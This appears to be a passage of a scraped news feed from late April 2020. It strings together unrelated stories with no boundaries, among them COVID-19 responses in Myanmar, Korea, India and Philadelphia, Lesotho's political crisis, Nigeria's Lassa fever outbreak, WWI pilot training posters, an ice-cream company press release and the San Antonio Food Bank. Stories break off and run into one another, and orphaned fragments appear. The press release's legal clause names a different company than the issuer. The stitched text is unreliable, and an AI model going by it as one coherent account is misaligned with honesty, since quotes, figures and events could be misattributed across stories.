adviser to the PC, is also a member. The Presidents Office said the government is cooperating with donors, volunteers, civil society groups and members of the public in response to COVID-19 in a no-one-left-behind policy, regardless of ethnicity, religion or location. As of Monday, Myanmar has 146 confirmed COVID-19 cases after testing 6,872 people with five deaths and 16 recoveries. You may also like these stories: Military, Govt and Private Medics Staff Makeshift COVID-19 Hospital in Myanmar Health Certificates Required to Enter Mandalay Religious Sites as Myanmar Struggles With COVID-19 Myanmar Pastors Face Prosecution for Defying Ban on Religious Gatherings Amid COVID-19 Lesothos Senate has passed constitutional amendments seeking to curb the prime ministers power to dissolve Parliament and call for a fresh election, the latest episode in an extraordinary political saga that has gripped the tiny mountain kingdom. The move by the legislative body on Tuesday came as Prime Minister Thomas Thabane faces mounting pressure to resign from his post. Thabane has been under pressure to step down due to a murder case in which he and his current wife are suspected of involvement in the 2017 assassination of his estranged, previous wife, Lipolelo Thabane, in 2017. They both deny this. The 80-year-old prime minister has promised to step down in July due to old age but his political opponents including rivals within his ruling party want him to leave immediately but Thabane has so far shown no signs of leaving early to defuse the crisis. In March, he suspended the Parliament for three months shortly after the lower house National Assembly passed a bill barring him from calling fresh elections if he loses a looming no-confidence vote. However, the countrys constitutional court last week overturned his decision, bringing closer the possibility of a no-confidence vote. A day later, on April 18, Thabane sent troops onto the streets of the capital, Maseru, to restore order, accusing unnamed law enforcement agencies of undermining democracy. The army withdrew the following day. South Africa, which entirely surrounds Lesotho, dispatched over the weekend a delegation to Lesotho for high-level talks aimed at calming the situation. In a joint statement, mediators said the coalition government and other stakeholders had agreed to guarantee a dignified, graceful and secure exit for Thabane. The prime minister, however, hit back, saying he would not be told when to leave office. Many analysts have predicted that Thabanes next move would be to advise King Letsie III to dissolve Parliament, which the law allows. But the latest constitutional amendments prohibit current and future prime ministers from advising the king to dissolve Parliament, unless a majority of legislators support the move. The new amendments passed by the 33-member Senate seek to limit the power of prime ministers while giving Parliament a more meaningful role in its own dissolution. What happens now is for the amendment to be taken to the speaker of the National Assembly who will then pass it on to His Majesty for endorsement as a law, explained Advocate Lekhetho Rakuoane, the leader of the opposition Popular Front for Democracy and mover of the amendment. Before being debated in the Senate, 93 legislators of the 120-member National Assembly voted for the bill. It also provides a mechanism for the appointment of a new prime minister should they die or resign unexpectedly. Soldiers disinfect a middle school in Daegu as part of efforts to help the city cope with the COVID-19 crisis, in this March 17 photo. /Yonhap By Bahk Eun-ji The government appears to be in a dilemma over whether to resume normal classes at schools, according to education officials Tuesday, as the number of new coronavirus infections has been on a downward trend. Officials want to open schools as quickly as possible and return teachers and students to classrooms. But at the same time, they are equally concerned that if they open the schools too soon, they could become a hotbed for the highly contagious virus as students come into contact with one another. As the number of newly confirmed daily cases of COVID-19 has stayed around 15 or less for 10 consecutive days, many educators, teachers and students expect to see schools resuming normal classes. Schools have been closed since March 2, when the new school semester was originally scheduled to commence. The Ministry of Education said Tuesday that it had held a videoconference with local education superintendents to come up with a detailed plan for any reopening. During the conference, Education Minister Yoo Eun-hae and the 17 regional superintendents discussed how to resume normal classes while preventing them from becoming hotbeds for the coronavirus. A decision is expected between May 3 and 5, after the government decides whether to further ease social distancing next week. If the ministry decides to reopen schools, classes are likely to take gradual steps to return to normal by as early as mid-May. The education ministry's discussions come as Prime Minister Chung Sye-kyun directed it during a regular virus response meeting Monday to come up with a road map for the reopening in stages. "The ministry should prepare a detailed plan for school re-openings, including the exact date, and disclose the procedures to parents and students at the beginning of next month. In particular, it must focus on collecting the opinions of seniors at middle and high schools who have to take examinations to enter higher educational institutes," Chung said. Regarding the reopening, Seoul Metropolitan Office of Education Superintendent Cho Hee-yeon said if seniors at middle and high schools resume normal classes, schools will have time to check on their disinfection work and school lunch programs. "Taking gradual steps that bring students back to schools at different dates is among the options under consideration. We think it will also be the best option to relieve the anxiety of parents who are still reluctant to send their children to school," Cho said. The cautious judgment follows in the wake of related events in Singapore. Schools opened there March 23 but the government reversed the decision March 25 because of new virus cases discovered at a kindergarten. Singaporean students have been told to stay home until May 5. The ministry made the unprecedented decision to postpone the start of the school year by five weeks in March to avoid possible mass infections. This left students at elementary, middle and high schools to take classes online. The Nigeria Centre for Disease Control, on Tuesday, declared the emergency phase of the Lassa fever outbreak in the country over. The agency said the decision followed the successive decline in cases below the emergency threshold, and an epidemiological review that it carried out in collaboration with the World Health Organisation. This, however, does not mean that new cases of the disease would not be detected in the country as the year goes by. Lassa Fever, diagnosed all year round, peaks in the dry season from November to May. Nigeria since the beginning of the year has been battling the Lassa fever outbreak which had killed 188 people as of April 19. Nigeria is now battling two deadly diseases: Lassa fever and COVID-19, which has infected over 1,300 people and caused 40 deaths. While COVID-19 is a new global disease with less epidemiological information, Lassa fever has become endemic in Nigeria. The country has battled it annually for the past 50 years. map showing epidemic curve for Lassa fever this year Outbreak In the last few years, the number of suspected and confirmed cases, as well as deaths from the disease, have been rising, leading to concerns from health experts. Since the beginning of the outbreak, 979 confirmed cases including 188 deaths have been recorded from 27 States including the Federal Capital Territory (FCT) as of April 19. In total so far, 27 states have recorded at least one confirmed case across 127 local government areas. Of all confirmed cases 73 per cent are from Edo, Ondo and Ebonyi states. The Director General, NCDC, Chikwe Ihekweazu, said the agency recognised that in the absence of a vaccine, Nigeria remains at risk of Lassa fever. Mr Ihekweazu said in the last two years, Nigeria has recorded Lassa fever cases throughout the year, with the peak usually between January and April. Despite the ongoing COVID-19 pandemic, we remain focused on our prevention, detection and response to other infectious disease outbreaks in Nigeria, including Lassa fever. While we have crossed the emergency phase, we know that we will continue to record cases. NCDC remains committed to ensuring a continuous decline in the number of people who die from Lassa fever, by early detection and appropriate treatment, he said. map showing confirmed Lassa fever cases by states Gradual decline However, in the last few weeks, there has been a gradual decline in the number of confirmed cases and deaths reported from the virus. NCDC said the Lassa fever case count has significantly declined in the last three weeks and has now dropped below levels considered to be a national emergency. This years emergency phase was declared on January 24, and the national Lassa fever Emergency Operations Centre (EOC) was activated to contain the spread of the disease in the country. The agency said the response was to an increase in Lassa fever cases at the beginning of the year, exceeding the threshold for an outbreak. Evidence from the weekly situation report published by the agency showed that there has been a gradual reduction in new cases reported across the country in the last three consecutive weeks. Also, there was no new death reported in the last two weeks. The decline in cases could be a result of the rains in some parts of the country especially in places with a high burden of the disease. Also, the number of suspected, confirmed cases and deaths increased significantly for this year as compared to what was reported for the same period last year. Advertisements NCDC said despite the end of the emergency phase of this outbreak, it will continue to coordinate the national multisectoral Lassa fever Technical Working Group (TWG). This TWG ensures continuous monitoring of cases, as well as strengthening of Lassa fever surveillance, diagnostic, treatment and other response activities across all levels in Nigeria, it said. Vaccine study NCDC also added that it has started coordination with some research institutes in Nigeria on how to develop a vaccine to protect Nigerians against the disease. Mr Ihekweazu said NCDC and the major treatment centres at Irrua Specialist Teaching Hospital, Alex Ekwueme Federal Teaching Hospital Abakaliki and Federal Medical Centre Owo, have begun the process for a large epidemiological study in collaboration with WHO and CEPI. This epidemiological study being implemented in Nigeria and other West African countries, is expected to contribute to Lassa fever vaccine development, he said. He added that NCDC is working with States and partners to establish more long-term strategies such as improved communication, regular environmental sanitation, enhanced capacity of health workers, and improvement of diagnostic and treatment centres among others. The NCDC remains very grateful to all its partners and all frontline health workers for their hard work and dedication during this outbreak. As of the time of reporting, the total number of affected health workers during the outbreak is now 37. NCDC also advised healthcare workers to continue to practice standard precautions at all times: i.e. wear personal protective equipment such gloves when providing care to an ill patient/relative, as any febrile illness can be Lassa fever. New Delhi: Union Law & Justice, Communications and Electronics & Information Technology Minister Ravi Shankar Prasad addresses at the International Judicial Conference 2020, in New Delhi on February 22, 2020. (Photo: IANS) Image Source: Amlan Paliwal/IANS Bengaluru, April 28 : The Central government has permitted techies of all IT firms to work from home till July 31 to protect them from the coronavirus spread and ensure social distancing, an official said on Tuesday. This was announced by Union Minister for Information Technology Ravi Shankar Prasad in a video conference with the concerned ministers and officials of different states. Earlier this option was available till April end. Industry body NASSCOM had urged the government to come up with a stable timeline and policy rather than a month-by-month extension. Prasad also told the state ministers that work from home should become the new norm. The latest development holds particular significance for Karnataka, the country's tech hub which houses a significant number of IT professionals. "Union Minister for Information Technology Ravi Shankar Prasad has agreed to state Deputy Chief Minister C.N. Ashwath Narayan's requisition to allow thousands of techies to work from home (WFH) till July 31, although the latter had asked to extend it up to March 2021," the official told IANS here. Prasad also agreed to hold a separate meeting with IT honchos through video conferencing soon for discussing the problems arising out of the pandemic induced lockdown and travel suspension across the country and overseas. "Prasad also assured Narayan to reconsider his request for extending the work for home (WFH) beyond July 31 after reviewing the situation," said the official. Even before the Central government enforced the 21-day nationwide first phase of the lockdown since March 25 and extended it up to May 3 from April 15, the Karnataka government had directed hundreds of IT firms across the state, especially in this tech city, to allow its employees to work from home to prevent them from getting infected by the deadly disease till March 31, initially. Prasad also said a that national strategy committee would be set up to frame guidelines and solutions to fight the pandemic crisis, which disrupted the resilient software industry working from office barring critical services. In view of the change in the working conditions after the lockdown, Prasad said measures would be taken to strengthen the Bharat Net broadband service to provide high-speed internet service. It is not only the IT sector, but also states that should promote startups and research. Focus will be on providing e-governance and e-passes. The style of working has changed for almost all the sectors due to the pandemic, as evident from 80 per cent of geeks working from home the world over. "As most services are offered online, the internet access will be strengthened through Bharat Net, the state-run telecom infrastructure provider," said Prasad. Prasad also appreciated the online health services offered in the southern state, which has become a trend setter for other states to follow. Narayan explained to Prasad how the state was providing education and other services online, with over 500 techies working at the call centre with the 'Apthamitra' helpline. "The call centre receives a whopping 50,000 calls daily from various people and responds to their needs to the extent possible. As an alternative to e-commerce, the helpline also provides essentials, including groceries and medicines delivered at the people's doorstep even in red zones," added Narayan. YouTube is widening the audience for its fact check panels, and not a moment too soon. The video service now displays (via TechCrunch) independent fact checks for searches of known false claims. Look for claims behind COVID-19 conspiracy theories, for instance, and a panel will link you to an article debunking those myths. As before, YouTube is limiting these cards to relatively narrow searches you shouldnt get them while youre simply looking for the latest news. The panels bring up info from third-party publishers who honor the International Fact-Checking Networks ethics code and meet the standards for ClaimReviews tagging system. This includes partners like FactCheck.org, PolitiFact and The Washington Post Fact Checker. The rollout comes roughly a year after YouTubes panels first appeared in Brazil and India, and soon after Google poured $6.5 million into fighting COVID-19 misinformation. This kind of initiative isnt strictly new, then. However, its taking on an added level of urgency. When junk science and other false claims are leading to violence and other potentially dangerous behavior during the pandemic, these panels could save lives at least for those willing to pay attention to them. Since we are exposed, since we are contracting this disease and since we are dying at a disproportionate rate, we should also be the people who frame what relief and recovery looks and feels like, said the Rev. Starsky Wilson, president and CEO of the Deaconess Foundation. It is clear (Parson) has not listened to the voices of dying, grieving and mourning black mothers and fathers who have come to these pastors for relief. Since he has not listened to date, we are asking for him to listen today. Prime Minister Narendra Modi on Tuesday discussed the situation arising out of the spread of coronavirus with Indonesian President Joko Widodo. "Discussed COVID-19 pandemic with good friend President @Jokowi," the prime minister tweeted. As close maritime neighbours and comprehensive strategic partners, close cooperation between India and Indonesia will be important to deal with the health and economic challenges posed by this crisis, Modi said. Three more positive cases were reported from Idukki, which falls in the Red zone, taking the total number of Covid-19 patients in the high range district of Kerala to 17 on Tuesday. A very popular tourism destination, Idukki, bordering Tamil nadu, witnessed a spike in positive cases from April 26 when six patients were detected infected with the virus on a single day,taking the total cases to 10. On Monday, there were four more cases and 3 on Tuesday. Power Minister M M Mani chaired a high-level meeting of the officials in the district, this morning and said the lockdown protocol will be implemented in a stringent manner in Idukki. The Idukki collector H Dineshan told media that they were expecting more cases in the coming days as results of around 300 samples of close contacts are awaited. With cases from Kottayam and Idukki rising in the past two days, the government had included the two districts in the Red zone. With this there are totally six districts in the zone. Two panchayats from Idukki and four from Kottayam have been included in the list of Hotspots. "We are expecting more cases as we are awaiting the results of around 300 samples sent. On Sunday we had sent at least 240 samples for testing. Most of them are close contacts of affected persons. So we are expecting more cases," Dineshan told media after the meeting. All shops, barring those selling fruits, vegetables and provision stores will remain closed in the district till May 3. "If any other shops were found open, instructions have been given to police to shut the shop, register a case and seize the keys of the establishment. We already had 14 positive cases. Three more cases were reported Monday night and they were shifted to the hospital. Most of the cases came from Tamil Nadu, Karnataka and some are from abroad," Collector said. The district administration has closed 21 small roads from Tamil Nadu to prevent people from entering the state illegally. Collector also informed that hundreds who came to state through such paths and forests have been caught and quarantined. Kerala had till Monday reported 481 positive cases, of which 123 are under treatment now. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Ukrainian President Volodymyr Zelensky and his Lithuanian counterpart Gitanas Nauseda discussed measures to counteract the spread of coronavirus, the situation in Donbas and the preparation for the EU-Ukraine summit. The leaders of the two countries discussed these issues in a phone call on April 27, the press service of the head of the Ukrainian state reported. The parties discussed the situation in the countries in the context of the spread of coronavirus and the measures taken in Ukraine and Lithuania to counteract and minimize the impact of COVID-19 on citizens. Volodymyr Zelensky informed Gitanas Nauseda of the security situation in Donbas. The Ukrainian president expressed his gratitude for the continued support of Vilnius for the sovereignty and territorial integrity of our country. The presidents also discussed the state of preparation of important European integration measures: the EU-Ukraine Summit and the Sixth Eastern Partnership Summit. Nauseda praised Zelensky's personal contribution to the reforms, emphasizing the importance of adopting historic land reform as one of the best preconditions for building a strong economy. The parties noted the importance of continuing bilateral political dialogue despite the situation with the spread of coronavirus. The president of Ukraine invited his Lithuanian counterpart to visit Kyiv at the end of this year in order to participate in the next meeting of the Council of Presidents of Ukraine and the Republic of Lithuania. I am looking forward to our meeting and, of course, I would like more joint economic decisions. I hope we can move in this direction despite the quarantine. I am grateful for the advocacy of Ukraine in Europe and for the friendship between our countries, Zelensky said. ish One poster, 'night flying', explains how to approach enemy territory in darkness Set of nine black and white posters issued in final months of First World War A fascinating set of Royal Flying Corps training posters that were used to teach novice pilots in the early days of aircraft combat have been unveiled after 102 years. The set of nine black and white posters featuring illustrations and diagrams were issued by the Air Ministry in the final months of the First World War. They would have been hung in training rooms at airfields to educate novice pilots ahead of their dogfights with German foes. One Royal Flying Corps training poster details what to do in the event of an engine failure, advising: 'Don't turn back - put her nose down at once and make some sort of a landing ahead' Another poster details how to avoid a collision, reading: 'Do not turn suddenly without looking round. You may foul another machine taking off after you' The above explains how to complete a perfect loop-the-loop, showing good and bad versions, warning against 'sudden changes in direction at very high speeds' It was the advent of the age of aviation with the pioneering Wright Brothers having only completed their first flight 15 years earlier. One poster, titled 'night flying', explains how to approach enemy territory in darkness and to avoid being shot down. Another, 'beware of the moon', warns against flying in front of white clouds, with German guns providing a stark warning of the perils of being detected. A separate poster in the set tells pilots not to use flares while landing in fog at night as it obscures the ground. Others explain how to land in a wind, and the dangers of turning too fast when taxiing - with an aircraft shown on its side in a field. There are posters demonstrating how to land safely in instances of engine failure, and also best practice for formation flying. 'Beware of the Moon' warns against flying in front of white clouds, with German guns providing a stark warning of the perils being detected in the black and white poster The dangers of turning too fast when taxiing, reading: 'Do not attempt to turn too soon after touching the ground. Wait until a safe speed is reached or you are bound to have trouble' This poster explains how to land across wind, advising to make it 'up wind whenever possible', saying landing 'across wind' requires 'considerable skill' The posters, which measure 40ins by 27ins, are being sold at auction by a private collector with LA-based Nate D Sanders. They are expected to fetch 6,000. Nate Sanders, auction house owner, said: 'These training posters were produced during the dawn of aviation. 'It was the first time that planes were used during combat. 'There were very few pilots, thus the Royal Flying Training Corps posters were essential for training new aviators.' A separate poster in the set entitled 'night flying - holt flares and mist' tells pilots not to use flares while landing in fog at night as it obscures the ground A night flying and avoiding searchlights poster, showing how to approach, locate, confuse and catch the enemy in the darkness while avoiding being shot down This poster explains how to catch up if you fall behind in a formation, stating: 'Do not waste time and exhaust the leader's patience by following round' At the outset of the war the Royal Flying Corps was made up of just five squadrons. Within 10 months, the air service increased five times in size and there was 10 times the amount of pilots, but - because of the high number of casualties - still more airmen were needed. British airmen always attacked even against superior numbers but their gallantry came at a very heavy cost - more than 9,000 British airmen were killed during the war. The RFC was amalgamated with the Royal Naval Air Service to create the RAF in April 1918. The timed auction ends on Thursday. Chinese Government Sends Team of Medical Experts to Kuwait 2020/04/28 Foreign Ministry Spokesperson Geng Shuang announces: To help with Kuwait's fight against COVID-19, the Chinese government dispatched a team of medical experts to the country. The team is organized by the National Health Commission and consisting of experts selected by the Health Commission of Ningxia Hui Autonomous Region. Omura, a Los Angeles, CA-based platform for the consumption of whole flower cannabis and hemp CBD, said it raised a further funding round which brought the total to $5m. Former Canopy Growth Corporation CEO and Founder, Bruce Linton, has participated in the latest fundraising round as well as joined as strategic advisor. The company intends to use the funds for expansion and technology growth. Led by Mike Simpson, CEO, Omura launched into retail with six premium flower brands in California this January, and will be expanding across recreational and medical States in the US as well as Canada over the course of 2020. The brand is also partnered with Greenlane Distribution for national distribution in the United States. The Omura heat-not-burn system delivers a smoke-free experience in a disposable pre-filled stick format for the purest method of cannabis consumption. The proprietary pre-filled flower sticks and heat-not-burn device ensure precision dosing and sustainability. Devices and flower sticks are available online and in California. FinSMEs 28/04/2020 Over 2 lakh non-resident Keralites have registered their request with the state government agency in the last 24 hours, expressing their wish to return home amid fears of coronavirus and job losses in countries they are in. The Keralites from 160 countries have submitted their request to catch the earliest flight to reach their home state and this has also been brought into the attention of Prime Minister Narendra Modi, said K Varadarajan, Vice Chairman of NORKA-Roots, the field agency of Department of Non-Resident Keralite Affairs. "We expect three to five lakh registrations," said Varadarajan. The state government has made arrangements to test and quarantine two lakh non-residents as and when they reach any of the four international airports in the state, he added. If the central government gives the permission to bring these people back, the state is ready to receive and treat them, Chief Minister Pinarayi Vijayan had said earlier. The non-resident Keralites are the major revenue source for the state as their annual remittance comes to Rs 80,000 crore. "The crisis that Kerala faces because of COVID-19 pandemic and the lockdown is that our people are stuck in other countries. Their safety is our priority. We are constantly working to bring them back," Vijayan said. Varadarajan said the government prioritises to bring the pregnant women, people with serious illness and the students who are being forced to stay back without visa. "We need chartered flights to bring back such large number of people," he added. About 70,000 Keralites registered from UAE and 30,000 from Saudi Arabia. There are requests from the US and the UK also. The state government plans to bring these people back stage-by-stage. The large-scale return of the people will affect the revenue of the state, which has now been shifting its focus to the US, Europe and Africa as the job opportunities are starting to dry up in the Gulf. Also read: Coronavirus India Live Updates: Lockdown exit plan in focus as total COVID-19 cases cross 29,000-mark Massive 145% profiteering exposed in coronavirus rapid test kits sold to ICMR The Blue Angels and Thunderbirds fly over the Art Museum as people gather to watch in Philadelphia on Tuesday. Read more TL;DR: The Blue Angels and Thunderbirds flew over Philly, and many people who left their homes to watch did not wear masks. Some drove into the city from the suburbs, packed the steps of the Philadelphia Museum of Art, and gathered at LOVE Park, despite social distancing guidelines and the citys stay-at-home order. Also, how an appointment at CHOP led to 20 new cases of the coronavirus. Ellie Silverman (@esilverman11, health@inquirer.com) What you need to know Pennsylvania education officials are considering masks, smaller class sizes, and staggered schedules for when students eventually return to school. We have no idea what is going on there." A local coroner and state legislators are calling for a probe of a Chester County veterans nursing home after nearly 30 people have died. A Bucks County man lost his job because of the coronavirus. Then he allegedly threatened to kill Gov. Tom Wolfs family. Philly Mayor Jim Kenney ordered pay cuts for some city workers beginning July 1, according to a memo to employees obtained by The Inquirer. Some tenants are calling for a Philly-wide rent strike as May payments are almost due. See first responders salute health-care workers with a parade in Cherry Hill. Local coronavirus cases As of Tuesday evening, there are more than 33,500 reported cases in the Philadelphia area. Track the spread here. PHILADELPHIA: 13,445 confirmed cases SUBURBAN PA: 11,405 confirmed cases SOUTH JERSEY: 8,708 confirmed cases People ventured outside this afternoon to watch the Blue Angels and Thunderbirds fly across the Philadelphia skyline as a thank-you to the health-care workers. But my colleagues observed that the people who left their homes were not all wearing masks or practicing social distancing. Some drove into the city from the suburbs, packed the steps of the Philadelphia Museum of Art, and gathered in groups at LOVE Park, despite social-distancing guidelines and the citys stay-at-home order. See photos of the fighter jets soaring over Philadelphia. A cardiologist at the King of Prussia location of the Childrens Hospital of Philadelphia returned from a country where the coronavirus was present and then saw 24 patients in four days. Angelina and Joseph McCreary visited the doctors office during that time, bringing in their newborn son for a check up. Joe shook the cardiologists hand. My colleague Lisa Gartner writes how this family caught the coronavirus after this one visit, and then, how it spread. Read more here. Helpful resources You got this: Order takeout from these places, our restaurant critic says The Inquirers restaurant critic Craig LaBan writes about his delivery highlights from the last few weeks, including: stacked layers of chicken parmesan, eggplant and sausage-stuffed long hot peppers; minced pork laab; dan dan noodles; chicken enchiladas; East Coast halibut with tabouleh; and stromboli stuffed with mozzarella and pepperoni. Find out which restaurants he ordered from here. Does my boss have to tell me if a coworker has coronavirus? What to know about your rights. How to wear a mask and not fog up your glasses. And how to wear one in hot weather. Do you need food? Heres how to find food assistance. Have a social distancing tip or question to share? Let us know at health@inquirer.com and your input might be featured in a future edition of this newsletter. What were paying attention to Masks, gloves, and disinfectant wipes have ended up in Philadelphias water systems. Now the sewers are being clogged by PPE fatbergs, Billy Penn reports. The New Yorker reports: How the Coronavirus Pandemic Has Shattered the Myth of College in America. This physician had almost never seen anyone die of the flu. He called colleagues around the country and most of them could not remember a single flu death case in their careers. That is why, Jeremy Samuel Faust writes for Scientific American, it is incorrect to compare COVID-19 to the flu. Enjoy getting our journalism through email? You can also sign up for The Inquirer Morning Newsletter to get the latest news, features, investigations and more sent straight to your inbox each morning Sunday-Friday. Sign up here. The year was 2011 and it was a much simpler time. Prince William still had a full head of hair. Prince Harry didnt live in Los Angeles with a Suits star. And friends were allowed to gather in groups of 10 to enjoy the royal wedding. The royal wedding was one for the ages, with brides asking for Kates glorious gown and Pippas slinky white dress inspiring wedding parties all over the world. But one of the most memorable moments came from a young bridesmaid who was downright grumpy. As the rest of the world looked on in awe, she looked like shed rather be anywhere else, inspiring memes aplenty. The grumpy bridesmaid was then 3-year-old Grace van Cutsem, who was captured looking forlorn as the royal couple kissed behind her like a Disney prince and princess during the Happily Ever After. The noise from the crowd proved too much for the tot's tiny ears. So, where is Grace now? She was temporarily Internet famous, also known as the Royal Wedding Girl and Frowning Flower Girl. While she likely didnt attend Prince Harry and Meghan Markles wedding (she was not spotted pouting in the crowd), her younger cousin did the family proud. Getty Images Prince Harrys goddaughter Florence van Cutsem, 3, was a bridesmaid, although her presence did not spark a thousand memes. The Van Cutsem family is quite close with the royals, as Graces grandfather, Hugh van Cutsem was one of Prince Charles' closest pals after the pair met at Cambridge. Graces parents are Rose Astor and Hugh van Cutsem, who were married in 2005. Prince William was an usher at their wedding and is Graces godfather. Theyve given Grace (now 12) two younger brothers, Rafe and Charles. Rose Astor is from the New York Astor family - William Waldorf Astor was once the richest person in America (think Waldorf Astoria and Astor Place). Getty Images She spoke to the Sunday Times about raising her children and said while she previously homeschooled them temporarily in Sri Lanka, they now attend a private school for "practical reasons." She said, "I just want them to be happy, confident and have good manners and a work ethic. Astor, a yoga instructor who vibes out to Fleetwood Mac, used to document their lives on Instagram, including trips to Sri Lanka and yoga lessons, although she has apparently now deleted her Instagram or made it private. PR-Inside.com: 2020-04-28 15:00:26 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 689 Words ACCESSWIRE News Network888.952.4446 ATLANTA, GA / ACCESSWIRE / April 28, 2020 / Aureus, Inc. (OTC PINK:ARSN) ("Aureus" or the "Company") ( www.AureusNOW.com) an emerging leader in the food brand development industry which owns the Yuengling's Ice Cream brand ("Yuengling's Ice Cream" or "Yuengling's") ( www.yuenglingsicecream.com) including all intellectual property and its distribution at select retail locations announced today that it will no longer need it's Regulation A as a source of funding for company operations."After much delay, we are finished with the preparation of our K. This period was fairly complex, in that, it was the first period we were able to recognize the Yuengling's acquisition. This complexity protracted the preparation of the financial statements when we were nearly finished Covid-19 hit. Our service providers were forced to make provisions to work from home. Everyone has adapted, we will have the next Q complete by the end of the week. This enables us to continue with the process of completing the Audits and bringing the company back to fully reporting status " Stated Everett Dickson CEO, Aureus.About Aureus, Inc. The company's focus is on acquiring specific assets in and related to the food industry. Aureus owns the assets and trademarks of the Yuengling's Ice Cream brand, and the exclusive right to market and sell the products of the brand. The goal of Aureus in the operation to consolidate all factors that are positive for the Yuengling brand into a synergistic success for Aureus shareholders as well as the next generation of Yuengling consumers.About Yuengling's Ice CreamDeveloped by American businessman Frank D. Yuengling, as a dairy business to help support the Yuengling family brewery during the 1920s Prohibition period, Yuengling's Ice Cream has a strong tradition of making exceptional gourmet ice cream products in central Pennsylvania. The fan-favorite brand continues advancing its legacy and its renowned dairy quality, by using locally sourced dairy ingredients that contain no added hormones. Yuengling's Ice Cream is a super-premium ice cream, which means it has a butterfat content of 14% or greater. In addition to having high butterfat, Yuengling's also has a low overrun (or a lower amount of air). This makes the ice cream less whipped and much denser. Yuengling's also is constantly working to keep its product as "clean" as possible, by using as few ingredients as necessary, and those that are used are of very high quality. The brands Yuengling's is most similar to are Haagen-Dazs and Ben & Jerry's.David Yuengling and Rob Bohorad revived the brand in 2014, and an American classic was re-born. In 2018, positioned for the brand's next stage of development, Yuengling's Ice Cream forged a partnership with YIC - Online Distributors, to distribute the iconic ice cream brand online, now via Aureus. Today, Yuengling's Ice Cream is delivered directly to the doorsteps of its consumers across the nation.The Yuengling's Ice Cream Corporation, as it has been since 1935, is a separately owned and run company from D. G. Yuengling and Sons, Inc Brewery.Safe Harbor StatementThis communication contains statements that may constitute "forward-looking statements" within the meaning of the Securities Act of 1933 and the Securities Exchange Act of 1934, as amended by the Private Securities Litigation Reform Act of 1995. Those statements include statements regarding the intent, belief, or current expectations of US Highland, Inc and members of its management as well as the assumptions on which such statements are based.Prospective investors are cautioned that any such forward-looking statements are not guarantees of future performance and involve risks and uncertainties and that actual results may differ materially from those contemplated by such forward-looking statements. Important factors currently known to management that could cause actual results to differ materially from those in forward-statements include fluctuation of operating results, the ability to compete successfully, and the ability to complete before-mentioned transactions.The Company undertakes no obligation to update or revise forward-looking statements to reflect changed assumptions, the occurrence of unanticipated events or changes to future operating results.For More InformationContact & Media Inquiries:404.885.6045Twitter: www.twitter.com/AureusNow SOURCE:Aureus Incorporated Helen Garner has received much praise, many awards and plenty of brickbats during a writing career that started with Monkey Grip, her groundbreaking 1977 novel chronicling life in the grungy share houses of inner Melbourne. She was accused of betraying feminism in her account of the 1992 Ormond College sexual harassment scandal, The First Stone, and even her novel The Spare Room, about a woman looking after a dying friend, was criticised for its proximity to her own life and experiences. But she has learnt to deal with the hostility, even to some extent to embrace it, although it has never been easy. Helen Garner says it's very bracing to be hated. Credit:Darren James I probably dont catastrophise quite as much now as I did then. But Ive always said that its very bracing to be hated, Garner said. Its horrible, but you learn a lot about it and you learn how to conduct yourself in a hostile environment. And you learn to keep your temper. And you also learn to turn a colder eye on your own work and see if it is as terrible as people are claiming that it is. Having received far less emergency funding than it requested from one federal agency, the San Antonio Food Bank has turned to another in the hope of finding more aid to help it feed thousands of desperate South Texas families. This time, the Food Bank is seeking at least 6 million pounds of food per month with an estimated value of about $12 million in the form of 240,000 pre-packaged food boxes that would flow from a new U.S. Department of Agriculture program. Its all part of what the nonprofits president and CEO, Eric Cooper, calls a full court press to make sure no San Antonian goes hungry during the coronavirus crisis. Its an exhausting fight the Food Bank and its 180 employees and thousands of volunteers have been waging for weeks now. Our food supply is a daily issue, Cooper said. On ExpressNews.com: Food Bank staff puts needs of community first As part of the $19 billion USDA Coronavirus Food Assistance Program (CFAP) announced last week by President Trump, the agricultural agency has dedicated $3 billion for the purchase of dairy, produce and meat to be distributed to Americans in need through food bank networks and other community and faith-based organizations. The program calls for the USDA to spend at least $300 million per month for six months with distributors and wholesalers who have been significantly affected adversely by the closure of restaurants, hotels, schools and other food service entities to source, assemble and distribute pre-packaged boxes to food banks and other nonprofits. The breakdown of the procurement is $100 million per month in fresh fruits and vegetables, $100 million per month in a variety of dairy products, and $100 million per month in meat products. For distributors sitting there with nothing to do, this will fund them to bring their employees back, Cooper said. But instead of a restaurant, the food banks would be the beneficiary. Celia Cole, CEO of Feeding Texas, a network of 21 food banks from around the state, called the new program critical to feeding families in every corner of Texas. Unlike other government purchase programs, the Food Box Program would be implemented by distributors who submit a bid and are awarded a federal contract. The contractor will be responsible for the procurement of the product, the assembly of boxes and the transportation and distribution to nonprofits. The federal government would pay for it all. We encourage all bidders to partner with Texas food banks to make it a success, Cole said. But theres a time crunch. Bids must be submitted by Friday. Contracts will be awarded in early May with shipments beginning May 18. In a deal Feeding Texas helped broker with the Texas Division of Emergency Management for $24 million worth of funding from the Federal Emergency Management Agency for the entire state, the Food Bank is set to receive a little more than $2.9 million worth of food to cover the next 30 days. Although grateful for the help from the state and FEMA, Cooper has repeateldy said its not enough with the Food Bank feeding 400,000 households the past 30 days, double what it normally does in one month. Faced with a demand from area residents made desperate by the economic effects of the pandemic, the Food Bank had originally pleaded with the state for $12 million in emergency aid in early April. There are a lot of small food banks in smaller cities with less demand that this will help tremendously, but unfortunately for us in San Antonio, our need is much greater than the supply they have approved, Cooper said. The Food Banks share of the $24 million provided by the state and FEMA amounts to about 12 percent and equals about 83 truckloads for a total of 3.47 million pounds, according to Feeding Texas. On ExpressNews.com: San Antonio Food Bank getting a lot less state-federal aid than expected The Houston Food Bank will receive $5.39 million worth of food, or about 22.5 percent of the $24 million, the most of any food bank in the Feeding Texas coalition. Thats the equivalent of approximately 154 truckloads totaling 6.4 million pounds, according to Feeding Texas. The formula used to decide how much each food bank in the Feeding Texas network receives was agreed up by the CEOs of the food banks and is based on pre-pandemic distribution levels, Cole said. On Monday, Cole, Cooper and other food bank leaders started a campaign to educate food distributors about the USDAs new food program. We have relationships with those distributors so we have been on conference calls and zoom calls with them, Cooper said. Any food distributor in San Antonio that works in the space of dairy, protein and produce should potentially bid on this. Distributors that Cooper targeted include B. Catalani Produce, Ben E. Keith Food, Labatt Food Service, Sysco, and Cuisine Solutions, a Virginia-based food packaging company set to open a plant at the Brooks master-planned community on the citys Southeast Side this year. But a spokesman for Labatt said Tuesday it would not be involved in the bidding, which came as no surprise to an industry source. The challenge for large distributors is the 